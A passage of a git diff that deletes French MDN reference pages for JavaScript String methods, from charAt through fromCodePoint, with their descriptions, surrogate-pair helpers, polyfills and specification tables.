-  return [str.charAt(i+1), i+1];
-}
- -

Créer une version de charAt qui permet de supporter des caractères hors du plan basique multilingue (BMP)

- -

Si on souhaite récupérer les paires de codets des caractères hors du plan classique, on peut utiliser le code suivant :

- -
function fixedCharAt (str, idx) {
-  var ret = '';
-  str += '';
-  var end = str.length;
-
-  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
-  while ((surrogatePairs.exec(str)) != null) {
-    var li = surrogatePairs.lastIndex;
-    if (li - 2 < idx) {
-      idx++;
-    } else {
-      break;
-    }
-  }
-
-  if (idx >= end || idx < 0) {
-    return '';
-  }
-
-  ret += str.charAt(idx);
-
-  if (/[\uD800-\uDBFF]/.test(ret) && /[\uDC00-\uDFFF]/.test(str.charAt(idx+1))) {
-    // On avance d'un puisque l'un des caractères fait partie de la paire
-    ret += str.charAt(idx+1);
-  }
-  return ret;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.charAt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
  • {{jsxref("String.prototype.charCodeAt()")}}
    • -
  • {{jsxref("String.prototype.codePointAt()")}}
    • -
  • {{jsxref("String.prototype.split()")}}
    • -
  • {{jsxref("String.fromCodePoint()")}}
    • -
  • JavaScript a un problème avec Unicode, billet de Mathias Bynens (en anglais)
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html deleted file mode 100644 index 1295d3edc5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: String.prototype.charCodeAt() -slug: Web/JavaScript/Reference/Objets_globaux/String/charCodeAt -tags: - - JavaScript - - Méthode - - Reference - - String - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt ---- -
{{JSRef}}
- -

La méthode charCodeAt() retourne un entier compris entre 0 et 65535 qui correspond au code UTF-16 d'un caractère de la chaîne situé à une position donnée.

- -
{{EmbedInteractiveExample("pages/js/string-charcodeat.html")}}
- - - -

Le codet UTF-16 renvoyé correspond au codet Unicode si le caractère peut être représenté sur un seul codet. Si le codet Unicode ne peut pas être représenté sur un seul codet UTF-16 (car sa valeur est supérieure à 0xFFFF), seule la première partie de la paire sera renvoyée. Si vous souhaitez obtenir l'ensemble de la valeur, vous pouvez utiliser la méthode {{jsxref("String.prototype.codePointAt()","codePointAt()")}}.

- -

Syntaxe

- -
str.charCodeAt(indice)
- -

Paramètres

- -
-
indice
-
Un entier supérieur ou égal à zéro et strictement inférieur à la longueur de la chaîne. La valeur par défaut (si le paramètre est absent ou n'est pas un nombre) sera zéro (0).
-
- -

Valeur de retour

- -

Un nombre qui représente la valeur du point de code UTF-16 pour le caractère à la position indiquée. Si index pointe en dehors de la chaîne, ce sera {{jsxref("Objets_globaux/NaN","NaN")}} qui sera renvoyé.

- -

Description

- -

Les codets Unicode vont de 0 à 1 114 111 (0x10FFFF). Les 128 premiers caractères Unicode correspondent aux caractères ASCII (leur encodage est le même). Pour plus d'informations sur la gestion de l'Unicode en JavaScript, voir le Guide JavaScript.

- -

La méthode charCodeAt() renverra toujours une valeur inférieure à 65 536. En effet, les caractères encodés sur les plus grandes valeurs sont encodés sur deux « demi-codets » (appelés surrogate pair en anglais). Pour recomposer de tels caractères, il faut donc utiliser charCodeAt(i) et aussi charCodeAt(i+1) afin de pouvoir récupérer chaque demi-codet. Pour plus de détails, voir le deuxième et troisième exemples.

- -

charCodeAt() renverra {{jsxref("NaN")}} si l'indice fourni est strictement inférieur à 0 ou dépasse la longueur de la chaîne.

- -

Dans les anciennes versions (JavaScript 1.2 par exemple) la méthode charCodeAt() renvoyait la valeur du caractère selon l'encodage ISO-Latin-1. L'encodage ISO-Latin-1 permet de représenter des caractères dont les valeurs vont de 0 à 255. Les valeurs 0 à 127 correspondent aux différentes valeurs ASCII.

- -

Exemples

- -

Utiliser charCodeAt()

- -

L'exemple suivant retourne 65, la valeur Unicode de A.

- -
"ABC".charCodeAt(0) // returns 65
-
- -

Utiliser charCodeAt pour gérer les caractères hors du plan multilingue de base sans hypothèse sur leur présence

- -

Cette fonction peut être utilisée dans des boucles ou autres dans les cas où on ne sait pas si des caractères représentés sur deux demi-codets (hors du plan BMP) existent avant la position indiquée.

- -
function fixedCharCodeAt (str, idx) {
-    // ex. fixedCharCodeAt ('\uD800\uDC00', 0); // 65536
-    // ex. fixedCharCodeAt ('\uD800\uDC00', 1); // false
-    idx = idx || 0;
-    var code = str.charCodeAt(idx);
-    var hi, low;
-
-    // On gère le demi-codet supérieur (la borne supérieure
-    // utilisée pourrait être 0xDB7F afin de traiter les
-    // paires surrogates privées comme des caractères uniques)
-    if (0xD800 <= code && code <= 0xDBFF) {
-        hi = code;
-        low = str.charCodeAt(idx+1);
-        if (isNaN(low)) {
-            throw "Le demi-codet supérieur n'est pas suivi "+
-                  "par un demi-codet inférieur dans fixedCharCodeAt()";
-        }
-        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
-    }
-    if (0xDC00 <= code && code <= 0xDFFF) {
-    // Demi-codet inférieur
-
-        // On renvoie false pour permettre aux boucles
-        // car le cas a normalement déjà été géré avec
-        // l'étape précédente
-        return false;
-    }
-    return code;
-}
-
- -

Utiliser charCodeAt() pour gérer les caractères du plan multilingue de base (en sachant qu'ils sont présents)

- -
function knownCharCodeAt (str, idx) {
-    str += '';
-    var code,
-        end = str.length;
-
-    var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
-    while ((surrogatePairs.exec(str)) != null) {
-        var li = surrogatePairs.lastIndex;
-        if (li - 2 < idx) {
-            idx++;
-        }
-        else {
-            break;
-        }
-    }
-
-    if (idx >= end || idx < 0) {
-        return NaN;
-    }
-
-    code = str.charCodeAt(idx);
-
-    var hi, low;
-    if (0xD800 <= code && code <= 0xDBFF) {
-        hi = code;
-        low = str.charCodeAt(idx+1);
-        // On prend un caractère de plus
-        // car on a deux demi-codets à récupérer
-        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
-    }
-    return code;
-}
-
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.charCodeAt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.fromCharCode()")}}
    • -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.fromCodePoint()")}}
    • -
  • {{jsxref("String.prototype.codePointAt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html deleted file mode 100644 index 016b2d6aae..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: String.prototype.codePointAt() -slug: Web/JavaScript/Reference/Objets_globaux/String/codePointAt -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/codePointAt ---- -
{{JSRef}}
- -

La méthode codePointAt() renvoie un entier positif qui correspond au code Unicode (code point) du caractère de la chaîne à la position donnée.

- -
{{EmbedInteractiveExample("pages/js/string-codepointat.html")}}
- - - -

Syntaxe

- -
str.codePointAt(pos)
- -

Paramètres

- -
-
pos
-
La position de l'élément dans la chaîne de caractères dont on souhaite obtenir la valeur du codet.
-
- -

Valeur de retour

- -

Un nombre qui représente la valeur du point de code du caractère à la position indiqué. C'est la valeur {{jsxref("undefined")}} qui est renvoyée s'il n'y aucun élément à pos.

- -

Description

- -

S'il n'y a pas d'élément à la position donnée, la valeur renvoyée sera {{jsxref("undefined")}}. Si ce n'est pas un élément représenté sur deux demi-codets (surrogate pair) UTF-16 et qui commence à pos, le codet de l'élément à l'indice pos est renvoyé.

- -

Exemples

- -
'ABC'.codePointAt(1);          // 66
-'\uD800\uDC00'.codePointAt(0); // 65536
-
-'XYZ'.codePointAt(42); // undefined
-
- -

Prothèse d'émulation (polyfill)

- -

Le fragment de code suivant permet d'ajouter la méthode codePointAt() pour les chaînes de caractères (String). En effet, cette méthode fait partie de ECMAScript 2015 et certains navigateurs peuvent ne pas proposer cette fonction nativement.

- -
/*! https://mths.be/codepointat v0.2.0 by @mathias */
-if (!String.prototype.codePointAt) {
-  (function() {
-    'use strict'; // needed to support `apply`/`call` with `undefined`/`null`
-    var defineProperty = (function() {
-      // IE 8 only supports `Object.defineProperty` on DOM elements
-      try {
-        var object = {};
-        var $defineProperty = Object.defineProperty;
-        var result = $defineProperty(object, object, object) && $defineProperty;
-      } catch(error) {}
-      return result;
-    }());
-    var codePointAt = function(position) {
-      if (this == null) {
-        throw TypeError();
-      }
-      var string = String(this);
-      var size = string.length;
-      // `ToInteger`
-      var index = position ? Number(position) : 0;
-      if (index != index) { // better `isNaN`
-        index = 0;
-      }
-      // Account for out-of-bounds indices:
-      if (index < 0 || index >= size) {
-        return undefined;
-      }
-      // Get the first code unit
-      var first = string.charCodeAt(index);
-      var second;
-      if ( // check if it’s the start of a surrogate pair
-        first >= 0xD800 && first <= 0xDBFF && // high surrogate
-        size > index + 1 // there is a next code unit
-      ) {
-        second = string.charCodeAt(index + 1);
-        if (second >= 0xDC00 && second <= 0xDFFF) { // low surrogate
-          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
-          return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
-        }
-      }
-      return first;
-    };
-    if (defineProperty) {
-      defineProperty(String.prototype, 'codePointAt', {
-        'value': codePointAt,
-        'configurable': true,
-        'writable': true
-      });
-    } else {
-      String.prototype.codePointAt = codePointAt;
-    }
-  }());
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.codePointAt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.fromCodePoint()")}}
    • -
  • {{jsxref("String.fromCharCode()")}}
    • -
  • {{jsxref("String.prototype.charCodeAt()")}}
    • -
  • {{jsxref("String.prototype.charAt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html deleted file mode 100644 index 184d38d6fc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: String.prototype.concat() -slug: Web/JavaScript/Reference/Objets_globaux/String/concat -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/concat ---- -
{{JSRef}}
- -

La méthode concat() combine le texte de plusieurs chaînes avec la chaîne appelante et renvoie la nouvelle chaîne ainsi formée.

- -
{{EmbedInteractiveExample("pages/js/string-concat.html")}}
- - - -

Syntaxe

- -
str.concat(string2[, string3, ..., stringN])
- -

Paramètres

- -
-
string2...stringN
-
Chaînes de caractères à concaténer ensemble.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères qui contient la concaténation des chaînes de caractères fournies.

- -

Description

- -

La fonction concat() renvoie une nouvelle chaîne correspondant à la concaténation des différents arguments avec la chaîne courante. La chaîne courante est celle sur laquelle a été appelée la méthode concat(). Si les valeurs passées en arguments ne sont pas des chaînes de caractères, elles sont automatiquement converties en chaînes (grâce à leur méthode toString() avant la concaténation).

- -

Exemples

- -

L'exemple suivant combine plusieurs chaînes afin d'en former une nouvelle.

- -
var coucou = "Bonjour ";
-console.log(coucou.concat("Tristan,", " bonne journée."));
-
-/* Bonjour Tristan, bonne journée. */
-
-var salutation = ['Bonjour', ' ', 'Alfred', ' ', '!'];
-"".concat(...salutation); // "Bonjour Alfred !"
-
-"".concat({});   // [object Object]
-"".concat([]);   // ""
-"".concat(null); // "null"
-"".concat(true); // "true"
-"".concat(4, 5); // "45"
-
-
- -

Performance

- -

Il est fortement recommandé d'utiliser les {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateurs d'affectation", "", 1)}} (+, +=) plutôt que la méthode concat() pour des raisons de performance.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.concat")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.concat()")}}
    • -
  • {{jsxref("Opérateurs/Opérateurs_d_affectation", "Les opérateurs d'affectation", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html b/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html deleted file mode 100644 index 32e72b6791..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: String.prototype.endsWith() -slug: Web/JavaScript/Reference/Objets_globaux/String/endsWith -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith ---- -
{{JSRef}}
- -

La méthode endsWith() renvoie un booléen indiquant si la chaine de caractères se termine par la chaine de caractères fournie en argument.

- -
{{EmbedInteractiveExample("pages/js/string-endswith.html")}}
- - - -

Syntaxe

- -
str.endsWith(chaîneRecherchée[, position]);
- -

Paramètres

- -
-
chaîneRecherchée
-
Les caractères à rechercher à la fin de la chaine de caractères.
-
position {{optional_inline}}
-
Paramètre optionnel. Permet de rechercher dans la chaine de caractères comme si elle faisait cette longueur ; par défaut il s'agit de la longueur de la chaine de caractères chaîneRecherchée. Si la valeur fournie est supérieure à la longueur de la chaine de caractères, elle ne sera pas prise en compte.
-
- -

Valeur de retour

- -

true si la chaîne de caractères se termine par la sous-chaîne indiquée, false sinon.

- -

Description

- -

Cette méthode permet de savoir si une chaine de caractères se termine avec une certaine chaine de caractères (comme les autres méthodes fonctionnant avec des chaînes de caractères, cette méthode est sensible à la casse).

- -

Exemples

- -
var str = "Être, ou ne pas être : telle est la question.";
-
-console.log(str.endsWith("question."));     // true
-console.log(str.endsWith("pas être"));      // false
-console.log(str.endsWith("pas être", 20));  // true
-
- -

Prothèse d'émulation (polyfill)

- -

Cette méthode a été ajoutée dans la spécification ECMAScript 6 et peut ne pas être disponible dans toutes les implémentations de JavaScript. Cependant, il est possible d'émuler le comportement de String.prototype.endsWith avec le fragment de code suivant :

- -
if (!String.prototype.endsWith) {
-  String.prototype.endsWith = function(searchString, position) {
-    var subjectString = this.toString();
-    if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) {
-      position = subjectString.length;
-    }
-    position -= searchString.length;
-    var lastIndex = subjectString.lastIndexOf(searchString, position);
-    return lastIndex !== -1 && lastIndex === position;
-  };
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.endsWith")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.startsWith()")}}
    • -
  • {{jsxref("String.prototype.includes()")}}
    • -
  • {{jsxref("String.prototype.indexOf()")}}
    • -
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html deleted file mode 100644 index 711a2310de..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: String.prototype.fixed() -slug: Web/JavaScript/Reference/Objets_globaux/String/fixed -tags: - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/fixed ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode fixed() permet de créer un élément HTML {{HTMLElement("tt")}}, ce qui permet d'afficher le texte de la chaîne de caractère dans une fonte à chasse fixe.

- -

Syntaxe

- -
str.fixed()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("tt")}}.

- -

Description

- -

La méthode fixed() encadre une chaîne de caractères dans une balise <tt> :
- "<tt>str</tt>"

- -

Exemples

- -

L'exemple suivant illustre l'utilisation de la méthode fixed pour formater une chaîne de caractères :

- -
var worldString = "Coucou monde";
-
-console.log(worldString.fixed());
-// "<tt>Coucou monde</tt>"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.fixed")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.bold()")}}
    • -
  • {{jsxref("String.prototype.italics()")}}
    • -
  • {{jsxref("String.prototype.strike()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html deleted file mode 100644 index 19e2c9ff30..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: String.prototype.fontcolor() -slug: Web/JavaScript/Reference/Objets_globaux/String/fontcolor -tags: - - Déprécié - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor ---- -
{{JSRef}}{{deprecated_header}}
- -

La méthode fontcolor() permet de créer un élément {{HTMLElement("font")}} qui permet d'afficher la chaine de caractères dans une fonte utilisant la couleur donnée.

- -
-

Note : L'élément <font> a été retiré dans HTML5 et ne devrait plus être utilisé. Les propriétés CSS permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.

-
- -

Syntaxe

- -
str.fontcolor(couleur)
- -

Paramètres

- -
-
couleur
-
Une chaîne de caractères représentant la couleur en une valeur hexadécimale RGB ou comme un littéral. Les différents littéraux utilisables pour les noms de couleurs sont listés dans la référence des couleurs CSS.
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.

- -

Description

- -

Si la couleur est représentée sous forme d'un triplet RVB, le format attendu est rrvvbb. Ainsi, pour représenter un rose saumon, les différentes composantes seront rouge = FA,  vert = 80, et bleu = 72, le triplet s'écrit donc "FA8072".

- -

Exemples

- -

L'exemple qui suit illustre comment utiliser la méthode fontcolor() pour modifier la couleur d'une chaîne de caractères en créant une balise <font> qui encadre la chaîne.

- -
var worldString = "Coucou monde";
-
-console.log(worldString.fontcolor("red") +  " avec le littéral red sur cette ligne");
-// '<font color="red">Coucou monde</font> avec le littéral red sur cette ligne'
-
-console.log(worldString.fontcolor("FF00") + " avec la valeur hexadécimale sur cette ligne");
-// '<font color="FF00">Coucou monde</font> avec la valeur hexadécimale sur cette ligne'
-
- -

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

- -
document.getElementById('IDdeVotreElement').style.color = 'red'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.fontcolor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.fontsize()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html deleted file mode 100644 index 33241acfbd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: String.prototype.fontsize() -slug: Web/JavaScript/Reference/Objets_globaux/String/fontsize -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize ---- -
{{JSRef}}{{deprecated_header}}
- -

La propriété fontsize() permet de créer un élément HTML {{HTMLElement("font")}} qui permet d'afficher la chaîne de caractères dans une fonte de taille donnée.

- -
-

Note : L'élément <font> a été retiré dans HTML5 et ne devrait plus être utilisé. Les propriétés CSS permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.

-
- -

Syntaxe

- -
str.fontsize(taille)
- -

Paramètres

- -
-
taille
-
Un entier compris entre 1 et 7 ou une chaîne de caractère représentant un nombre signé entre 1 et 7.
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.

- -

Description

- -

Lorsque le paramètre utilisé est un entier, la taille de la chaîne str correspondra à l'une des 7 tailles définies. Lorsque le paramètre utilisé est une chaîne de caractères (par exemple "-2"), la taille de la fonte sera ajustée relativement à la taille définie par l'élément {{HTMLElement("basefont")}}.

- -

Exemples

- -

L'exemple qui suit illustre comment utiliser les méthodes pour les chaînes de caractères afin de modifier la taille d'une chaîne de caractères :

- -
var worldString = "Coucou monde";
-
-console.log(worldString.small()); // <small>Coucou monde</small>
-console.log(worldString.big()); // <big>Coucou monde</big>
-console.log(worldString.fontsize(7)); // <font size="7">Coucou monde</fontsize>
- -

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

- -
document.getElementById('IdElement').style.fontSize = '0.7em'
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.fontsize")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.big()")}}
    • -
  • {{jsxref("String.prototype.small()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html deleted file mode 100644 index 5648f25e05..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: String.fromCharCode() -slug: Web/JavaScript/Reference/Objets_globaux/String/fromCharCode -tags: - - JavaScript - - Méthode - - Reference - - String - - UTF-16 - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode ---- -
{{JSRef}}
- -

La méthode statique String.fromCharCode() renvoie une chaîne de caractères créée à partir de points de code UTF-16.

- -
{{EmbedInteractiveExample("pages/js/string-fromcharcode.html")}}
- - - -

Syntaxe

- -
String.fromCharCode(num1, ..., numN)
- -

Paramètres

- -
-
num1, ..., numN
-
Une séquence de nombres représentant des points de code UTF-16 entre 0 et 65535 (0xFFFF). Les nombres supérieurs à 0xFFFF sont tronqués.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui contient les caractères correspondants à la série de points de code UTF-16.

- -

Description

- -

Cette méthode renvoie une chaîne de caractère et non un objet {{jsxref("String")}}.

- -

La méthode fromCharCode() étant une méthode statique de l'objet String, elle doit toujours être utilisée avec la syntaxe String.fromCharCode() plutôt qu'en appelant la méthode à partir d'un objet String construit sur mesure.

- -

Exemples

- -

Pour les caractères du plan multilingue de base, UTF-16 utilise une seule unité de code :

- -
String.fromCharCode(65,66,67); // ABC
-String.fromCharCode(0x2014);   // "—"
-String.fromCharCode(0x12014);  // "—" également, le 1 a été tronqué
-String.fromCharCode(8212);     // renvoie également "—" car 8212
-                               // est la forme décimale
-
- -

Les caractères hors de ce plan utilisent deux unités de code (on parle de surrogate pair) :

- -
String.fromCharCode(0xD83C, 0xDF03); // Point de code U+1F303 pour l'émoji nuit étoilée
-
-// Forme décimale équivalente :
-String.fromCharCode(55356, 57091);
-
-String.fromCharCode(0xD834, 0xDF06, 0x61, 0xD834, 0xDF07);
-// "\uD834\uDF06a\uD834\uDF07"
-
- -

Utiliser des valeurs Unicode plus grandes

- -

En UTF-16, les caractères les plus communs sont représentables sur une seule valeur de 16 bits. Toutefois, cet ensemble de caractères (aussi appelé plan multilingue de base ou BMP en anglais) ne représente qu'1/17e de l'espace total représenté par les caractères Unicode. Le reste des points de code, sur l'intervalle 65536 (0x010000) à 1114111 (0x10FFFF) sont des caractères additionnels qui sont représentés par deux valeurs sur 16 bits qu'on appelle surrogate pairs en anglais.

- -

La méthode fromCharCode() ne fonctionne qu'avec des valeurs sur 16 bits et il faudra donc fournir une paire de codets pour obtenir certains caractères. Ainsi, String.fromCharCode(0xD83C, 0xDF03) renvoie le point de code U+1F303 qui représente l'émoji « nuit étoilée ».

- -

Bien qu'il y ait une relation mathématique entre la valeur composée et les deux codets qui forment la paire, on a besoin d'une étape supplémentaire à chaque fois. Aussi, il sera plus pratique d'utiliser {{jsxref("String.fromCodePoint()")}} (ES2015 / ES6) qui permet de manipuler les codes des caractères hors BMP : on pourra ainsi écrire String.fromCodePoint(0x1F303) pour renvoyer le caractère U+1F303 (émoji « nuit étoilée »).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.fromcharcodes', 'String.fromCharCode')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.fromCharCode")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.charCodeAt()")}}
    • -
  • {{jsxref("String.prototype.charAt()")}}
    • -
  • {{jsxref("String.fromCodePoint()")}}
    • -
  • {{jsxref("String.prototype.codePointAt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html deleted file mode 100644 index 387ecf4878..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: String.fromCodePoint() -slug: Web/JavaScript/Reference/Objets_globaux/String/fromCodePoint -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint ---- -
{{JSRef}}
- -

La méthode statique String.fromCodePoint() renvoie une chaîne de caractères créée à partir d'un suite de codets.

- -
